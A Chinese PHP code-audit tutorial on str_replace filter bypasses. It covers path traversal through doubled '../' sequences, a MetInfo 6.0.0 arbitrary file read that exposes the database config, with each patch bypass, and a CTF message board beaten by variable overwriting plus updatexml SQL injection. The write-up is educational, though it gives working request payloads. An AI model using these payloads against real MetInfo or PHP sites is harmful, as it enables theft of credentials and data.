函数学习
str_replace :(PHP 4, PHP 5, PHP 7)
功能 :子字符串替换
定义 : mixed str_replace ( mixed $search , mixed $replace , mixed $subject [, int &$count ] )
该函数返回一个字符串或者数组。如下:
str_replace(字符串1,字符串2,字符串3):将字符串3中出现的所有字符串1换成字符串2。
str_replace(数组1,字符串1,字符串2):将字符串2中出现的所有数组1中的值,换成字符串1。
str_replace(数组1,数组2,字符串1):将字符串1中出现的所有数组1一一对应,替换成数组2的值,多余的替换成空字符串。
Demo学习
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php class LanguageManager { public function loadLanguage() { $lang = $this->getBrowserLanguage(); $sanitizedLang = $this->sanitizeLanguage($lang); if(file_exists("./lang/$sanitizedLang")){ require_once("./lang/$sanitizedLang"); } }
private function getBrowserLanguage() { $lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] :'en'; return $lang; }
private function sanitizeLanguage($language) { return str_replace('../', '', $language); } }
$manage = new LanguageManager(); $manage->loadLanguage(); show_source(__FILE__);
|
第15行中,获取请求头中的Accept-Language
字段值修改为en
赋值给$lang
,在第21行使用str_replace()
函数替换$lang
中的../
为空。但过滤不完整,可以用..././
或者....//
双写绕过。然后通过require_once()
文件包含。
在根目录设置flag.txt
文件,内容为123
。
1 2 3
| GET /php/day9/demo.php HTTP/1.1 Host: 127.0.0.1 Accept-Language: ..././..././flag.txt
|
案例分析
案例选取为 Metinfo 6.0.0 版本,漏洞点在 /app/system/include/module/old_thumb.class.php 中存在任意文件读取漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| class old_thumb extends web{
public function doshow(){ global $_M;
$dir = str_replace(array('../','./'), '', $_GET['dir']);
if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){ header("Content-type: image/jpeg"); ob_start(); readfile($dir); ob_flush(); flush(); die; }
|
第6行$dir
参数先经过str_replace()
函数过滤其中的../
和./
,这里可以通过复写进行绕过,例如..././....///
但在第9行中,substr()
函数判断字符串前4位是否为http
。
1
| if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false)
|
又使用了strpos()
函数查找$dir
中./
首次出现的位置,禁止使用../
跨目录了,而在Windows环境中,可以使用..\
进行跨目录。绕过限制后,通过readfile()
读文件。Payload为:
1
| dir=http\..\..\config\config_db.php
|
接下来寻找哪里调用该文件,全局搜索old_thumb
发现 /include/thumb.php 文件中调用old_thumb
类。
1 2 3 4 5 6
| <?php define('M_NAME', 'include'); define('M_MODULE', 'include'); define('M_CLASS', 'old_thumb'); define('M_ACTION', 'doshow'); require_once '../app/system/entrance.php';
|
在这个文件中,M_CLASS
定义为old_thumb
,M_ACTION
定义为doshow
,接着跟进到 /app/system/entrance.php 中,在文件末尾包含 /app/system/include/class/load.class.php 文件,引入load
类,调用类中的module
方法。
1 2 3 4 5 6 7
| <?php ...
define ('PATH_SYS_CLASS', PATH_WEB."app/system/include/class/"); ... require_once PATH_SYS_CLASS.'load.class.php'; load::module();
|
查看load.class.php
的module
方法
1 2 3 4 5 6 7 8 9
| public static function module($path = '', $modulename = '', $action = '') { if (!$path) { if (!$path) $path = PATH_OWN_FILE; if (!$modulename) $modulename = M_CLASS; if (!$action) $action = M_ACTION; if (!$action) $action = 'doindex'; } return self::_load_class($path, $modulename, $action); }
|
其中M_CLASS
为old_thumb
,M_ACTION
为doshow
,继续跟进_load_class
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| private static function _load_class($path, $classname, $action = '') { $classname=str_replace('.class.php', '', $classname); $is_myclass = 0; if(!self::$mclass[$classname]){ if(file_exists($path.$classname.'.class.php')){ require_once $path.$classname.'.class.php'; } else { echo str_replace(PATH_WEB, '', $path).$classname.'.class.php is not exists'; exit; } ... } if ($action) { if (!class_exists($classname)) { ... }else{ if($is_myclass){ $newclass = new $myclass; }else{ $newclass = new $classname; } self::$mclass[$classname] = $newclass; } if ($action!='new') { if(substr($action, 0, 2) != 'do'){ die($action.' function no permission load!!!'); } if(method_exists($newclass, $action)){ call_user_func(array($newclass, $action)); }else{ die($action.' function is not exists!!!'); ...
|
在第6行中拼接路径包含old_thumb.class.php
文件,第20行处实例化old_thumb
类对象,在第29行中使用回调函数call_user_func()
去执行old_thumb
类中的doshow
方法,这个方法中的$dir
为可控参数。
漏洞复现
数据库配置文件存储在/config/config_db.php
中,通过任意文件读取去读数据库账号密码。
1
| http://127.0.0.1/MetInfo/include/thumb.php?dir=http\..\..\config\config_db.php
|
历史绕过
原文:MetInfo 任意文件读取漏洞的修复与绕过
MetInfo 对old_thumb.class.php
累计更新4次,本次案例分析为倒数第二次更新,最后一次更新删除掉了这个文件。
原始代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php ... class old_thumb extends web{
public function doshow(){ global $_M;
$dir = str_replace('../', '', $_GET['dir']);
if(strstr(str_replace($_M['url']['site'], '', $dir), 'http')){ header("Content-type: image/jpeg"); ob_start(); readfile($dir); ob_flush(); flush(); die; } ...
|
复写../
进行绕过,第10行中strstr()
查找字符串http出现的首次位置,只要包含即可绕过,payload为:
1
| ?dir=..././http/..././config/config_db.php
|
第一次绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php ... class old_thumb extends web{
public function doshow(){ global $_M;
$dir = str_replace(array('../','./'), '', $_GET['dir']);
if(strstr(str_replace($_M['url']['site'], '', $dir), 'http')){ header("Content-type: image/jpeg"); ob_start(); readfile($dir); ob_flush(); flush(); die; } ...
|
更新代码在第8行,现在置空../
和./
,通过复写组合即可绕过,payload为:
1
| ?dir=.....///http/.....///config/config_db.php
|
第二次绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php ... class old_thumb extends web{
public function doshow(){ global $_M;
$dir = str_replace(array('../','./'), '', $_GET['dir']);
if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http'){ header("Content-type: image/jpeg"); ob_start(); readfile($dir); ob_flush(); flush(); die; } ...
|
更新代码在第10行,增加判断$dir
开头为http,变换之前的payload进行绕过,,payload为:
1
| ?dir=http/.....///.....///config/config_db.php
|
第三次绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php ... class old_thumb extends web{
public function doshow(){ global $_M;
$dir = str_replace(array('../','./'), '', $_GET['dir']);
if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){ header("Content-type: image/jpeg"); ob_start(); readfile($dir); ob_flush(); flush(); die; } ...
|
第三次更新为案例分析部分,windows下可用..\
进行跨目录,所以此次payload只适用于windows。
1
| ?dir=http\..\..\config\config_db.php
|
案例学习
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| <?php include 'config.php'; include 'function.php';
$conn = new mysqli($servername,$username,$password,$dbname); if($conn->connect_error){ die('连接数据库失败'); }
$sql = "SELECT COUNT(*) FROM users"; $result = $conn->query($sql); if($result->num_rows > 0){ $row = $result->fetch_assoc(); $id = $row['COUNT(*)'] + 1; } else die($conn->error);
if(isset($_POST['msg']) && $_POST['msg'] !==''){ $msg = addslashes($_POST['msg']); $msg = replace_bad_word(convert($msg)); $sql = "INSERT INTO users VALUES($id,'".$msg."')"; $result = $conn->query($sql); if($conn->error) die($conn->error); } echo "<center><h1>Welcome come to HRSEC message board</center></h1>"; echo <<<EOF <center> <form action="index.php" method="post"> <p>Leave a message: <input type="text" name="msg" /><input type="submit" value="Submit" /></p> </form> </center> EOF; $sql = "SELECT * FROM users"; $result = $conn->query($sql); if($result->num_rows > 0){ echo "<center><table border='1'><tr><th>id</th><th>message</th><tr></center>"; while($row = $result->fetch_row()){ echo "<tr><th>$row[0]</th><th>$row[1]</th><tr>"; } echo "</table></center>"; } $conn->close(); ?>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php function replace_bad_word($str){ global $limit_words; foreach ($limit_words as $old => $new) { strlen($old) > 2 && $str = str_replace($old,trim($new),$str); } return $str; }
function convert($str){ return htmlentities($str); }
$limit_words = array('造反' => '造**', '法轮功' => '法**');
foreach (array('_GET','_POST') as $method) { foreach ($$method as $key => $value) { $$key = $value; } } ?>
|
1 2 3 4 5 6 7
| <?php $servername = "localhost"; $username = "hongrisec"; $password = "hongrisec"; $dbname = "day9"; ?>
|
1 2 3 4 5 6 7 8 9
| # 搭建CTF环境使用的sql语句 create database day9; use day9; create table users( id integer auto_increment not null primary key, message varchar(50) ); create table flag( flag varchar(40)); insert into flag values('HRCTF{StR_R3p1ac3_anD_sQ1_inJ3ctIon_zZz}');
|
分析
在index.php
中接收$msg
经过过滤和违禁词替换后写入到数据库中,第18~24为过滤代码。
1 2 3 4 5 6 7
| if(isset($_POST['msg']) && $_POST['msg'] !==''){ $msg = addslashes($_POST['msg']); $msg = replace_bad_word(convert($msg)); $sql = "INSERT INTO users VALUES($id,'".$msg."')"; $result = $conn->query($sql); if($conn->error) die($conn->error); }
|
在第2行中,使用addslashes()
转义$msg
中的单引号(‘)、双引号(“)、反斜杠(\)和NULL,然后用htmlentities()
函数转换HTML实体化,最后在replace_bad_word
方法中替换关键词。
1 2 3 4 5 6 7 8 9
| function replace_bad_word($str){ global $limit_words; foreach ($limit_words as $old => $new) { strlen($old) > 2 && $str = str_replace($old,trim($new),$str); } return $str; }
$limit_words = array('造反' => '造**', '法轮功' => '法**');
|
使用str_replace()
进行替换$limit_words
中的关键词,并且要求数组索引长度大于2。
1 2 3 4 5
| foreach (array('_GET','_POST') as $method) { foreach ($$method as $key => $value) { $$key = $value; } }
|
但在function.php
中的第16~20行存在变量覆盖问题。foreach
将GET或者POST提交的参数全局变量注册,我们可以注册$limit_words
覆盖原有的变量,从而利用str_replace()
将addslashes()
转移'
后的\
过滤掉,从而插入数据库中造成注入。payload为:
1 2 3 4
| POST /php/day9/index.php HTTP/1.1 Host: 127.0.0.1
msg=1%00' and updatexml(1,concat(0x7e,(select flag from flag),0x7e),1))#&limit_words[\0\]=
|
因为updatexml
报错注入最多只能显示32位,可以使用substr
函数截取后面的字符串。
1
| msg=1%00' and updatexml(1,concat(0x7e,(select substr((select flag from flag limit 1),31,32)),0x7e),1))#&limit_words[\0\]=
|